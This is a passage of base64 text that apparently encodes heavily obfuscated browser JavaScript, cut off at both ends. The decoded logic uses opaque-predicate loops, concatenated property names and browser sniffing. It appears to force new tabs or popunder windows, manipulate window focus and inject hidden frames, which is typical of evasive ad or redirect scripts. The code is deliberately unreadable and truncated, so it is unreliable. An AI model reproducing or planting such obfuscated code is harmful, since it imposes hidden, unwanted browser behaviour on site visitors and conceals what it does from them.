2V0K0dyOnc1Llk0KDExKTtyZXR1cm4gdzUuYzQoMSxzKTtjYXNlIEdyK2V0K0dyK2V0K0dyOmNhc2UgR3IrZXQrR3IrZXQrR3IrZXQrR3I6ZGVmYXVsdDp3NS5ZNCg4KTtyZXR1cm4gdzUudTQoMCxzKTt9fSwkOmZ1bmN0aW9uKHQpe2Zvcih2YXIgZT1wZVtDcl0oR3IpLGk9ZVtwaV0sbj0wLHI9R3I7bjx0O24rKyl7cis9ZVtkcltBY10oZHJbTW5dKCkqaSldO31yZXR1cm4gcjt9LGg6ZnVuY3Rpb24odCxlKXt0cnl7cmV0dXJuIHRbYWErR3IrR2ldKGUpO31jYXRjaCh0KXtyZXR1cm4geXU7fX0sSDpmdW5jdGlvbih0LGUsaSl7dmFyIG47dzUubzQoMik7bj13NS5jNChoaSx0KTtyZXR1cm4gdHlwZW9mIHlbbl0hPT1nZSYmcm8oeVtuXSkseVtuXT1pbyhlLGkpO30sdzpmdW5jdGlvbigpe3JldHVybiBQdTt9LFU6ZnVuY3Rpb24odCl7cmV0dXJuIHRbU2MrR3IrbWNdPT09dmErR3IrZ3QrR3IrbXQrR3IrVnIrR3IreGMmJm5lW2lyXSh0W2FhK0dyK0dpXShPKSl8fHRbU2MrR3IrbWNdPT09cGErR3IrT24rR3IrRmMrR3IrUHMrR3IrcGE7fX07aXU9e3R0OmZ1bmN0aW9uKHQsZSl7dmFyIGkscTUsbTUsQTU7dHJ5e3E1PS0xNDE1MjczNDIzO201PS0zMzc1MDc5MjY7QTU9Mjtmb3IodmFyIEs1PTE7dzUuZDEoSzUudG9TdHJpbmcoKSxLNS50b1N0cmluZygpLmxlbmd0aCwzNzU1NSkhPT1xNTtLNSsrKXtyZXR1cm4gZXx8KGk9cmlbKHdyLUdyKSVqbipHcipMY10odFtIYyVHci9VZV0sdFtIYy9Hci14b10pKT9pOnRbVGldJiZ0W1hzLUdyLUNuXSYmdFsoWHItR3IpJUNuXTtBNSs9Mjt9aWYodzUuTDEoQTUudG9TdHJpbmcoKSxBNS50b1N0cmluZygpLmxlbmd0aCw3MjUzNikhPT1tNSl7cmV0dXJuIGUmJihpPXJpW3dyK0dyK2puK0dyK0xjXSh0W0hjK0dyK1VlXSx0W0hjK0dyK3hvXSkpP2k6dFtUaV18fHRbWHMrR3IrQ25dfHx0W1hyK0dyK0NuXTt9fWNhdGNoKHQpe3JldHVybiB5dTt9fSxYOmZ1bmN0aW9uKHQsZSxpLG4pe3JldHVybiB0eXBlb2YgdFtIbitHcitDYStHcitFbl09PT1acz90W0huK0dyK0NhK0dyK0VuXShlLGksbnx8e30pOnRbRmUrR3IrQ2FdKE5vK2UsaSk7fSxLOmZ1bmN0aW9uKHQsZSxpLG4pe3ZhciByO3I9ZnVuY3Rpb24oKXtpdS5aKHQsZSxyLG4pO2lbQ2ldKCk7fTtpdS5YKHQsZSxyLG4pO30sWjpmdW5jdGlvbih0LGUsaSxuKXtyZXR1cm4gdHlwZW9mIHRbeG4rR3IrQ2ErR3IrRW5dPT09WnM/dFt4bitHcitDYStHcitFbl0oZSxpLG58fHt9KTp0W0tpK0dyK0NhXShObytlLGkpO319OyEoWGM9e2l0OmZhW2lyXSh2dSksbnQ6c3RbaXJdKHZ1KSxtOmxlW2lyXSh2dSksZXQ6YWNbaXJdKHZ1KSxydDpTb1tpcl0odnUpLG90OnNpW2lyXSh2dSl8fEpyW2lyXSh2dSl8fHVlW2lyXSh2dVtmc10oMCw0KSksc3Q6dm9baXJdKHZ1KSxnOkFyW2lyXSh2dSkmJiFfYVtpcl0odnUpLGI6bHJbaXJdKHZ1KSYmIW1hW2lyXSh2dSksYXQ6bWVbaXJdKHZ1KSYmIWdyW2lyXSh2dSksY3Q6eFtpcl0odnUpLGQ6Rltpcl0odnUpLHV0OnlvW2lyXSh2dSksX3Q6bXUscHQ6WmMucShndSl8fG11LGx0OmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuX3QhPT1tdT90aGlzLl90OnRoaXMuX3Q9UWMuZHQoKSE9PXl1O30sSjpmdW5jdGlvbih0LGUpe3JldHVybiBaYy5KKFhjLmZ0LGUsdCk7fSxodDptb1tpcl0odnUpJiYhenJbaXJdKHZ1KSxmdDpaYy5xKHl1KXx8bXV9KS5ldHx8WGMuaHR8fFhjLmR8fFhjLmJ8fChYYy51dD1vNSk7KFljPWZ1bmN0aW9uKHQsZSxpKXt2YXIgbjtuPWl8fHt9O25bel09ZTt0aGlzLnZ0KG4pO3RoaXMubXQuYnR8fCh0aGlzLm10LmJ0PXJ1K3QpO3RoaXMuZ3QoKTt9KVtYdF09e2t0OntUdDpndSxDdDptdSxqdDp5dSxFdDpHcitQZStHcixGdDprdSxMdDpndSxBdDp5dSxPdDpndSx4dDptdSxQdDpudWxsLGJ0Om11LHd0Om11LFN0Omt1fSxtdDp7fSx5dDpudWxsLHp0OlpjLnYoKSxCdDpaYy5wKFtbT3IsMF1dKSxJdDpaYy5wKFtbTWUsMV1dKSxNdDpaYy5wKFtbU3IsMV1dKSxXdDpaYy5wKFtbRWksMF0sW1NyLDBdXSksRHQ6WmMucChbW01lLDBdXSksVXQ6WmMucChbW1p0LDBdXSksUnQ6WmMucChbW0VpLDBdXSksc2V0T3B0aW9uczpmdW5jdGlvbih0KXtyZXR1cm4gdGhpcy52dCh0KTt9LGd0OmZ1bmN0aW9uKCl7dmFyIHQsZSxpLG47dD1mdW5jdGlvbih0LGUpe3ZhciBpLG47bj17fTtuW3B1XT1beXUsZ3VdO25bX3VdPVt5dSx5dV07bltsdV09W2d1LGd1XTtuW2R1XT1bZ3UseXVdO2ZvcihpIGluIG4paWYoeWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0obixpKSYmbltpXVswXT09PXQmJm5baV1bMV09PT1lKXtyZXR1cm4gaTt9cmV0dXJuIF91O307ZT1YYy5sdCgpO2k9dChHYy5tdC4kdC5uZXdUYWIsR2MubXQuJHQudW5kZXIpO249dCh0aGlzLm10LkF0LHRoaXMubXQuVHQpO2V8fG49PT1wdSYmKG49aSk9PT1wdSYmKG49bHUpO1hjLm90JiYobj09PV91JiYobj1kdSksbj09PXB1JiYobj1sdSkpO3RoaXMueXQ9bjt9LEh0OmZ1bmN0aW9uKCl7dmFyIGswLG4wLEYwO2lmKHR5cGVvZiB0aGlzLm10Lnh0PT09WnMpdHJ5e3JldHVybiB0aGlzLm10Lnh0W0NpXSh0aGlzLHRoaXMubXQpW1hzK0dyK2hdKCk7fWNhdGNoKHQpe3JldHVybiBLYy5lKHQpLHl1O31rMD0tMTAwMjA0NzAxMztuMD0tMTY1MTM4NjMwNztGMD0yO2Zvcih2YXIgTTA9MTt3NS5MMShNMC50b1N0cmluZygpLE0wLnRvU3RyaW5nKCkubGVuZ3RoLDY4NDExKSE9PWswO00wKyspe3JldHVybiB0aGlzLm10Lnh0O0YwKz0yO31pZih3NS5kMShGMC50b1N0cmluZygpLEYwLnRvU3RyaW5nKCkubGVuZ3RoLDkwOTM5KSE9PW4wKXtyZXR1cm4gdGhpcy5tdC54dDt9fSxMdDpmdW5jdGlvbigpe3ZhciB0LGUsRzcsQzcsazcsVjAsdTAseTA7dD10aGlzLm10O2U9dC5PdCE9PU5zJiZ0Lk90IT09TmV8fHQuT3Q9PT1OcyYmWGMub3R8fHQuT3Q9PT1OZSYmIVhjLm90O3RyeXtHNz0tMTkzODMwODU3MjtDNz0tMTE3NzY0NDk2NDtrNz0yO2Zvcih2YXIgRjc9MTt3NS5kMShGNy50b1N0cmluZygpLEY3LnRvU3RyaW5nKCkubGVuZ3RoLDg5NDI0KSE9PUc3O0Y3Kyspe3R5cGVvZiB0Lkx0PT09WnM/ZT1lJiZ0Lkx0W0NpXSh0aGlzLGUsdGhpcy5OdCgpKSE9PXl1OnR5cGVvZiB0Lkx0PT09YW4mJihlPWUmJnQuTHQpO2s3Kz0yO31pZih3NS5MMShrNy50b1N0cmluZygpLGs3LnRvU3RyaW5nKCkubGVuZ3RoLDUzNDE4KSE9PUM3KXstdC5MdCE9PVpzP2U9ZXx8dC5MdFtDaV0odGhpcyxlLHRoaXMuTnQoKSk9PT15dTohdC5MdD09YW58fChlPWV8fHQuTHQpO319Y2F0Y2godCl7S2MuZSh0KTt9VjA9Njg3MDAyMDA4O3UwPS0yOTc1OTkyODc7eTA9Mjtmb3IodmFyIHYwPTE7dzUuTDEodjAudG9TdHJpbmcoKSx2MC50b1N0cmluZygpLmxlbmd0aCw2NDU0MSkhPT1WMDt2MCsrKXtyZXR1cm4gR2MuSnQoKT9lfHwtdGhpcy5WdDplfHwrdHUuYyh0LmJ0KTt5MCs9Mjt9aWYodzUuTDEoeTAudG9TdHJpbmcoKSx5MC50b1N0cmluZygpLmxlbmd0aCwyOTMyNSkhPT11MCl7cmV0dXJuIEdjLkp0KCk/ZXx8LXRoaXMuVnQ6ZXx8K3R1LmModC5idCk7fXJldHVybiBHYy5KdCgpP2UmJiF0aGlzLlZ0OmUmJiF0dS5jKHQuYnQpO30sdnQ6ZnVuY3Rpb24odCl7dmFyIGUsaSxuLHI7dGhpcy5tdD1aYy55KHRoaXMuenQsdGhpcy5rdCx0aGlzLm10LHR8fHt9KTtmb3IoaSBpbiB0aGlzLm10KWlmKHlpW1h0XVtCYStHcitsdCtHcitvb11bQ2ldKHRoaXMubXQsaSkpc3dpdGNoKG49dGhpcy5tdFtpXSxpKXtjYXNlIHNvOnRoaXMubXQud3Q9bjticmVhaztjYXNlIHo6dGhpcy5tdC54dD1uO2JyZWFrO2Nhc2UgTGU6dGhpcy5tdC5PdD0obitHcilbWHMrR3IrdHMrR3IrbmNdKCk7YnJlYWs7Y2FzZSBOdCtHcittYzp0aGlzLm10LmJ0PW47YnJlYWs7Y2FzZSBOdCtHcitUOnRoaXMubXQuQ3Q9bjticmVhaztjYXNlIE50K0dyK2VhOnRoaXMubXQuRXQ9bjticmVhaztjYXNlIE50K0dyKyRzOnRoaXMubXQuUHQ9bjticmVhaztjYXNlIEVlOnRoaXMubXQuVHQ9bjticmVhaztjYXNlIEErR3IrTG86dGhpcy5tdC5BdD1uO2JyZWFrO2Nhc2UgcHQrR3IramU6dGhpcy5tdC5GdD1uO2JyZWFrO2Nhc2UgamErR3IramU6dGhpcy5tdC5TdD1uO2JyZWFrO2Nhc2UgSWMrR3IrY3I6dGhpcy5tdC5qdD1uO2JyZWFrO2Nhc2UgdGUrR3Irc3M6dGhpcy5tdC5MdD1uO31pZighWGMub3QmJiF0aGlzLm10LkF0KWZvcihyPVtbWGMuZyYmMTE9PT1YYy5wdCx0aGlzLlV0XSxbWGMuYiYmWGMucHQ8NDEsdGhpcy5JdF0sW1hjLmIsdGhpcy5CdF0sW1hjLmQmJlhjLnB0PDQ3LHRoaXMuTXRdLFtYYy51dCx0aGlzLkR0XSxbWGMuY3QsdGhpcy5SdF0sW1hjLmImJlhjLnB0Pj01OSx0aGlzLld0XSxbWGMudXQmJlhjLnB0Pj00Nix0aGlzLld0XV0sZT0wO2U8cltwaV07ZSsrKWlmKHJbZV1bMF0pZm9yKGkgaW4gcltlXVsxXSl7eWlbWHRdW0JhK0dyK2x0K0dyK29vXVtDaV0ocltlXVsxXSxpKSYmKHRoaXMubXRbaV09cltlXVsxXVtpXSk7fX0sZ2V0T3B0aW9uczpmdW5jdGlvbigpe3JldHVybiB0aGlzLk50KCk7fSxOdDpmdW5jdGlvbigpe3ZhciB0LGU7ZT17fTtmb3IodCBpbiB0aGlzLm10KXt5aVtYdF1bQmErR3IrbHQrR3Irb29dW0NpXSh0aGlzLm10LHQpJiZ0W3BpXT49MyYmKGVbdF09dGhpcy5tdFt0XSk7fXJldHVybiBlO30scXQ6ZnVuY3Rpb24oKXtHYy5KdCgpP3RoaXMuVnQ9Z3U6dHUuYSh0aGlzLm10LmJ0LDEsdGhpcy5tdC5DdCx0aGlzLm10LkV0LHRoaXMubXQuUHQpO319OyhudT1mdW5jdGlvbih0KXt2YXIgZTtlPXRoaXM7dGhpcy5RdD10O3RoaXMuR3Q9dGhpcy5ZdCgpO3RoaXMuS3Q9dGhpcy5adCgpO2l1LlgodGhpcy5HdCxncyxmdW5jdGlvbigpe0dzKGUuS3QpO1pjLlAoZS5HdCk7fSk7fSlbWHRdPXtZdDpmdW5jdGlvbigpe3ZhciB0LEs3LHI3LFE3O0s3PS0xODIwMzgxMDU7cjc9MTk5MDM1MjYxMTtRNz0yO2Zvcih2YXIgajc9MTt3NS5kMShqNy50b1N0cmluZygpLGo3LnRvU3RyaW5nKCkubGVuZ3RoLDg2ODQwKSE9PUs3O2o3Kyspe3Q9WmMueihoYyx7Y2xhc3M6ZnV9LEdyKTtyZXR1cm4gdGhpcy5RdFtTYytHcittY11bWHMrR3IrdHMrR3IrbmNdKCk9PT1Rcj9yaVtRcl1bSXQrR3IrV2VdKHQpOnRoaXMuUXRbX3QrR3IraV1bTmMrR3IrT3NdKHQsdGhpcy5RdFtWcytHcitrc10pLHQ7UTcrPTI7fWlmKHc1LkwxKFE3LnRvU3RyaW5nKCksUTcudG9TdHJpbmcoKS5sZW5ndGgsMzM0MykhPT1yNyl7dD1aYy56KGhjLHtjbGFzczpmdX0sR3IpO3JldHVybiB0aGlzLlF0W1NjKkdyL21jXVtYcypHci10cy1Hci1uY10oKT09UXI/cmlbUXJdW0l0L0dyL1dlXSh0KTp0aGlzLlF0W190L0dyJWldWyhOYy1HcikqT3NdKHQsdGhpcy5RdFsoVnMtR3IpJWtzXSksdDt9fSxadDpmdW5jdGlvbigpe3ZhciB0O3Q9dGhpcztyZXR1cm4gQ28oZnVuY3Rpb24oKXt2YXIgZSxpO2k9VWModC5RdFt4ZV1bc24rR3IrenNdLDEwKTt0LlF0W1NjK0dyK21jXVtYcytHcit0cytHcituY10oKT09PVFyJiYoaT05ZTkpOyhlPV9uK1Z0K2dvK2VyK0RhK1Z0K04rZXIrbG4rVnQraytlcitHcisoS2ErVnQrR3IpK3QuUXRbZnIrR3Ird2NdKyhobytlcitHcikrKG9jK1Z0K0dyKSt0LlF0W2ZyK0dyK2ddKyhobytlcitHcikrKEhpK1Z0K0dyKSt0LlF0W2ZyK0dyK1duXSsoaG8rZXIrR3IpKyhwK1Z0K0dyKSt0LlF0W2ZyK0dyK0NjXSsoaG8rZXIrR3IpKyhzbit3aStMK1Z0K0dyKSsocWMoaSk/MjppKzEpKSE9PXQuR3RbYWErR3IrR2ldKHhlKSYmdC5HdFtsaStHcitHaV0oeGUsZSk7fSwxNTApO319O251Llh0PWZ1bmN0aW9uKHQpe3ZhciBlO3c1Llk0KDEyKTtlPXc1LmM0KHJ1LExpLHdpLHdpLEdyLGllLEdyKTt0W2FhK0dyK0dpXShlKXx8dFthYStHcitHaV0obG8pPT09ZnV8fCh0W2xpK0dyK0dpXShlLDEpLG5ldyBudSh0KSk7fTsoUWM9e2R0OmZ1bmN0aW9uKCl7dmFyIHQsZTtlPXRoaXMuZWUoKTtmb3IodD0wO3Q8ZVtwaV07dCsrKWlmKGVbdF1bMV0oKT09PWd1KXtyZXR1cm4gZVt0XVswXTt9cmV0dXJuIHl1O30sZWU6ZnVuY3Rpb24oKXt2YXIgdDt0PVtdO3JldHVybiBYYy5vdHx8WGMuaXQ/W106KHRbTXJdKFt0aGlzLmllLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlhjLnB0Pj02NCYmWGMucHQ8Njc7fV0pLHRbTXJdKFt0aGlzLm5lLGZ1bmN0aW9uKCl7cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubnQmJlhjLnB0Pj00MyYmWGMucHQ8NjQ7fV0pLHRbTXJdKFt0aGlzLnJlLGZ1bmN0aW9uKCl7dmFyIGI3LHE3LG03O2I3PS02MDMwNTI0OTU7cTc9LTQwNjg3OTgwNDttNz0yO2Zvcih2YXIgSTc9MTt3NS5MMShJNy50b1N0cmluZygpLEk3LnRvU3RyaW5nKCkubGVuZ3RoLDU1NDM5KSE9PWI3O0k3Kyspe3JldHVybiBYYy5ifHxaYy5ZKCl8fFhjLm18fFhjLnB0PD0xN3x8WGMucHQ+PTg5O203Kz0yO31pZih3NS5MMShtNy50b1N0cmluZygpLG03LnRvU3RyaW5nKCkubGVuZ3RoLDYyMDk0KSE9PXE3KXtyZXR1cm4gWGMuYnx8WmMuWSgpfHxYYy5tfHxYYy5wdDw9MTd8fFhjLnB0Pj04OTt9cmV0dXJuIFhjLmImJlpjLlkoKSYmWGMubSYmWGMucHQ+PTQ5JiZYYy5wdDw2NDt9XSksdFtNcl0oW3RoaXMub2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZDt9XSksdFtNcl0oW3RoaXMuc2UsZnVuY3Rpb24oKXtyZXR1cm4gWGMuZyYmWGMucHQ+PTExO31dKSx0W01yXShbdGhpcy5hZSxmdW5jdGlvbigpe3JldHVybiBYYy5odDt9XSksdFtNcl0oW3RoaXMuY2UsZnVuY3Rpb24oKXt2YXIgVDAsRTAsbzA7VDA9MTIwNjMzNjEyMTtFMD0xMjk2MjQyMjUyO28wPTI7Zm9yKHZhciBwMD0xO3c1LmQxKHAwLnRvU3RyaW5nKCkscDAudG9TdHJpbmcoKS5sZW5ndGgsNDUyNzYpIT09VDA7cDArKyl7cmV0dXJuIFhjLnV0fHxYYy5udHx8WGMucHQ+PTc0O28wKz0yO31pZih3NS5MMShvMC50b1N0cmluZygpLG8wLnRvU3RyaW5nKCkubGVuZ3RoLDY1MzgpIT09RTApe3JldHVybiBYYy51dCYmWGMubnQmJlhjLnB0PD00ODt9fV0pLHQpO319KS50ZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMudGVbWHRdPXtfZTprdSx1ZTpmdW5jdGlvbih0KXt2YXIgcjUsUTUsZTU7cjU9LTk1ODI4OTMwMTtRNT0tNjIxNDQ4NDIyO2U1PTI7Zm9yKHZhciBaNT0xO3c1LmQxKFo1LnRvU3RyaW5nKCksWjUudG9TdHJpbmcoKS5sZW5ndGgsOTUyNjgpIT09cjU7WjUrKyl7dGhpcy5mZT10O2U1Kz0yO31pZih3NS5MMShlNS50b1N0cmluZygpLGU1LnRvU3RyaW5nKCkubGVuZ3RoLDE0MzU1KSE9PVE1KXt0aGlzLmZlPXQ7fX0sbGU6a3UscGU6ZnVuY3Rpb24oKXt2YXIgdCxlLGksbixyLG8scyxhO2k9dGhpcztuPWkuZmU7cj1uLkh0KCk7bz1uLm10O3M9by53dHx8WmMuJCg1KTthPVpjLmsobyk7aWYodD1mdW5jdGlvbigpe3RyeXtpZih0eXBlb2Ygby5GdD09PVpzJiZvLkZ0W0NpXShuLHIsbyk9PT15dSl7cmV0dXJuIHl1O319Y2F0Y2godCl7S2MuZSh0KTt9cmV0dXJuIG11O30sZT1mdW5jdGlvbih0KXtpZih0eXBlb2Ygby5TdD09PVpzKXRyeXtvLlN0W0NpXShuLHIsbyx0KTt9Y2F0Y2godCl7S2MuZSh0KTt9fSx0KCk9PT15dSl7cmV0dXJuIHl1O310eXBlb2Ygb1t6XT09PVRjJiZvW3pdIT09ciYmKHI9b1t6XSk7R2MuanQoby5qdCk7dGhpcy5fZSgpO3RyeXtyZXR1cm4gdGhpcy5sZShyLG8scyxhLGZ1bmN0aW9uKHQpe2kuZGUodCk7aS5oZSYmR2MuaGUoKTtlKHQpO30pO31jYXRjaCh0KXtyZXR1cm4gS2MuZSh0KSx5dTt9fSx2ZTpmdW5jdGlvbih0LGUsaSl7cmV0dXJuKEdjLm10LmJlP1pjLkM6QXUpKHQsZSxpKTt9LGRlOmt1LGhlOmd1fTtRYy5tZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMubWVbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTp5dSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3IodGhpcy52ZSh0LGksbikpO319KTtRYy5nZT1mdW5jdGlvbih0KXt0aGlzLnVlKHQpO307UWMuZ2VbWHRdPVpjLnkoUWMudGVbWHRdLHtoZTohWGMub3QmJiFYYy5kLGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7cih0aGlzLnZlKHQsRmkpKTt9fSk7UWMueWU9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnllW1h0XT1aYy55KFFjLnRlW1h0XSx7a2U6ZnVuY3Rpb24oKXt2YXIgdCxlLGk7dD1HYy53ZSgpO2U9R2MueGUuUztpPXR5cGVvZiBHYy5tdC5PZT09PVpzP0djLm10Lk9lW0NpXSgpOkdjLm10Lk9lO3JldHVybiBmdW5jdGlvbigpe3ZhciBuLHI7cmV0dXJuIGkhPT1GdT9pOihuPVpjLiQoMSkscj1lP2k6R2MuQ2UodCl8fGksZXUucygpfHwhWGMub3QmJiFYYy5nP3I6KHR1LmEoY3UsbixtdSkscltaXSh2cixHcikrKEdyK3NlK0dyKStuKSk7fSgpO30sbGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgeDksejksaDksbyxzLGEsYyx1LGgsZixwO3g5PTE3MTA2NjI4Nzg7ejk9LTEwMzk3MjE3MTM7aDk9Mjtmb3IodmFyIEw5PTE7dzUuZDEoTDkudG9TdHJpbmcoKSxMOS50b1N0cmluZygpLmxlbmd0aCwzMDE4NykhPT14OTtMOSsrKXtoOSs9Mjt9aWYodzUuZDEoaDkudG9TdHJpbmcoKSxoOS50b1N0cmluZygpLmxlbmd0aCw0NTQ4MCkhPT16OSl7fWE9dGhpcy5rZSgpO2M9R2Mud2UoKTt1PVpjLk4oYyk7aD0xNTtmPVtdO3A9ZnVuY3Rpb24odCl7dmFyIGU7dHlwZW9mIHRbQW5dPT09WnMmJihlPXRbQW5dLGl1LlgodCxncyxlKSk7dFtBbl09ZnVuY3Rpb24oKXtyZXR1cm4geXU7fTt9O2ZvcihHYy5FZSgpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKSE9PUZpJiZaYy5mKGMsdW4pJiYocChjKSwwIT09Y1thYStHcitHaV0odW4pW0wrR3IrV2FdKEN0KSYmKGE9Y1thYStHcitHaV0odW4pKT09PUdyJiYoYT1GdSkpLGMmJmNbU2MrR3IrbWNdPT09T24mJmNbYWErR3IrR2ldKFRpKT09PUZpJiZaYy5mKGMsdW4pJiYocChjKSxpbyhmdW5jdGlvbigpe2NbQW5dPW11O30sM2UzKSxHYy5tdC5QZT9hPWNbYWErR3IrR2ldKHVuKTooYT1GdSxYYy5vdCYmKFhjLnV0P2ZbTXJdKGZ1bmN0aW9uKCl7QXUoY1thYStHcitHaV0odW4pLEZpKTt9KTppbyhmdW5jdGlvbigpe0F1KGNbYWErR3IrR2ldKHVuKSxGaSk7fSwyMCkpKSksWGMuZXQmJlhjLnV0fHxYYy5ldCYmWGMuc3QmJiFYYy5kJiYhWGMuYiYmIVhjLmh0PyhBdShhLEZpKSxaYy5IKEJyLGZ1bmN0aW9uKCl7WmMuVCh0KTt9LGgpKTohWGMub3QmJlpjLmgoYyxUaSkhPT1GaSYmKFhjLnV0JiZYYy5zdHx8WGMuaHQmJlhjLnB0PDEwfHxYYy5iJiZYYy5wdDw0MSk/WGMudXQ/KFpjLlEoYSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KFpjLlEodCksY1tTYytHcittY109PT1PbiYmdSYmWmMuVCh1KSk6WGMuZXQmJlhjLmQ/KG89QXUoYSxGaSksWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6KG89eVtRYV0oVWErVnQrY2ksRmkpKT8ob1tFaV1bdW5dPWEsWmMuSChCcixmdW5jdGlvbigpe1pjLlQodCk7fSxoKSk6bz1BdSh0LEZpKSxzPTA7czxmW3BpXTtzKyspe2Zbc11bQ2ldKCk7fW8mJnIobyk7fX0pO1FjLm9lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5vZVtYdF09WmMueShRYy50ZVtYdF0se2hlOnl1LGxlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIG87bz10aGlzLnZlKHQsaSxuKTtvW2tuXSgpO1R1W2JvXSgpO1pjLk0obyk7aW8oZnVuY3Rpb24oKXtyKG8pO30sMWUzKTt9fSk7UWMuY2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLmNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZSh0LGksbik7cz1HYy5UZSgxZTMpO2l1LksoeSxibyxmdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9KTtvW2NjXT1mdW5jdGlvbigpe2lvKGZ1bmN0aW9uKCl7WmMuUChzKTt9LDEwKTt9O3Iobyk7fX0pO1FjLmFlPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5hZVtYdF09WmMueShRYy50ZVtYdF0se2xlOmZ1bmN0aW9uKHQsZSxpLG4scil7dmFyIEQ5LFc5LGw5LG87RDk9MTk0OTIwNzgwOTtXOT04OTkwMjg0O2w5PTI7Zm9yKHZhciBWOT0xO3c1LkwxKFY5LnRvU3RyaW5nKCksVjkudG9TdHJpbmcoKS5sZW5ndGgsNTc4NTApIT09RDk7VjkrKyl7bDkrPTI7fWlmKHc1LkwxKGw5LnRvU3RyaW5nKCksbDkudG9TdHJpbmcoKS5sZW5ndGgsNTEwNjgpIT09Vzkpe315W3NvXT1aYy4kKDUpO289dGhpcy52ZSh0LGksbik7dGhpcy52ZShHcix5W3NvXSxHcik7eVtzb109bXU7cihvKTt9LGhlOnl1fSk7UWMuc2U9ZnVuY3Rpb24odCl7dGhpcy51ZSh0KTt9O1FjLnNlW1h0XT1aYy55KFFjLnRlW1h0XSx7bGU6ZnVuY3Rpb24odCxlLGksbixyKXt2YXIgbyxzO289dGhpcy52ZShQdT90OkZ1LGksbik7cz1mdW5jdGlvbigpe29bRWldW3VuXT10O307aXUuSyhvLGtuLHMpO29ba25dKCk7VHVbYm9dKCk7aW8ocywxMDApO3Iobyk7fSxoZTp5dX0pO1FjLm5lPWZ1bmN0aW9uKHQpe3RoaXMudWUodCk7fTtRYy5uZVtYdF09WmMueShRYy50ZVtYdF0se0ZlOmZ1bmN0aW9uKCl7dmFyIHQsZTtlPVpjLnooYXIse2RhdGE6WmMuTChlbitQZStNYyx0aGlzLkFlKStaYy4kKDMpfSk7cmV0dXJuKHQ9WmMueihoYyx7c3R5bGU6UGkrVnQrYStlcitvYytWdCtIcytlcitLYStWdCtIcytlcitEYStWdCtOK2VyK3ArVnQrRnIrSGErR3IrZXIrSGkrVnQrem4rZXIrayt3aStHYStWdCtYaStlciskbytWdCthK2VyK0dyfSkpW0l0K0dyK1dlXShlKSxbZSx0XTt9LFNlOmZ1bmN0aW9uKHQpe3ZhciBlO2U9WmMueSh0LHt9KTtyZXR1cm4gZVtwXT1lW0hpXT05ZTUsZVtvY109ZVtLYV09MSxlO30sQWU6THQrR3IrdGErR3IrRmMrR3IrUHMrR3Irb24rR3IrV2MrR3IreG8rR3IrJCtHcithaStHcituK0dyK1NhK0dyK0tyK0dyK1F0K0dyK2t0K0dyK3p0K0dyK3RjK0dyK1l0K0dyK3ZhK0dyK3MrR3IrdmErdWMraG4rR3IrTGErR3IrenQrR3IrVytHcitEYytHcitaYStHcittdCtHcitWaStHcitzYStHcitVZStHcitUYStHcit2YStHcitWaStHcitQcitHcit4bytHcitVZStHcitpYytHcitwbytHcitLcitHcitKK0dyK2hzK0dyK1ppK0dyK3ZhK0dyK1ByK0dyK0xhK0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrWGErR3IrVHMrR3IrWmkrR3IrdmErR3IrUHIrR3IrSGUrR3IrenQrR3IrVytHcitGYytHcit0YytHcityYytHcithZStHcit2aStHcit2YStHcitQcitHcitydCtHcitwcytHcittdCtHcituYStHcitUbytHcityZStHcit4bytHcit0YStHcitqaStHcitXK0dyK2F0K0dyK3ZhK0dyK1ByK0dyK2MrR3IrYit1YytFK0dyK1FvK0dyK3BzK0dyK2RjK0dyK1l0K0dyK3ZhK0dyK1lhK0dyK1hhK0dyK1RzK0dyK1ppK0dyK3ZhK0dyK0dlK0dyK09lK0dyK2dhK0dyK0hvK0dyK3ZhK0dyK1ByK0dyK2t0K0dyK3p0K0dyK1crR3IrRmMrR3IrdGMrR3IrdmErR3Ircm4rdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitrdCtHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK09lK0dyK1krR3IrS3QrR3IreG8rR3IrVWUrR3IrYnMrR3IrRnQrR3IrUG8rR3IrRStHcitVZStHcitiaStHcitVZStHcitTZStHcitWcitHcitEcytHcit4bytHcitVZStHcitHbytHcit2YStHcitQdCtHcitVZStHcitScitHcit5YytHcitPZStHcitWbytHcitLcitHcit2YytHcitiZStHcitzK0dyK3hjK0dyK0tvK0dyK3IrR3IrYWkrR3IrZnQrdWMrQnQrR3IrVm4rR3IrRStHcitucitHcitBZStHcit6dCtHcitXK0dyK0RjK0dyK1phK0dyK210K0dyK1ZpK0dyK05hK0dyK1RzK0dyK010K0dyK2hyK0dyK1lzK0dyK0tzK0dyK0UrR3IrVWUrR3IrZm4rR3IrcmMrR3IrYWUrR3IrRCtHcitMdCtHcitWcitHcit0YStHcittdCtHcitacitHcitWcitHcitPZSxsZTpmdW5jdGlvbih0LGUsaSxuLHIpe3ZhciBzLGEsYyx1LGg7dT10aGlzO2g9eXU7dHJ5eyhhPXRoaXMudmUoVWErVnQrY2ksRmkpKVttcl1bcnJdKHc1LnU0KHVyLEdyLEdyLGpvLFBlLHVpLEdyLFFyLEdyLFBlLG8sR3IsdWksdWksR3IsdXIsUGUsR3IsdXIsam8sR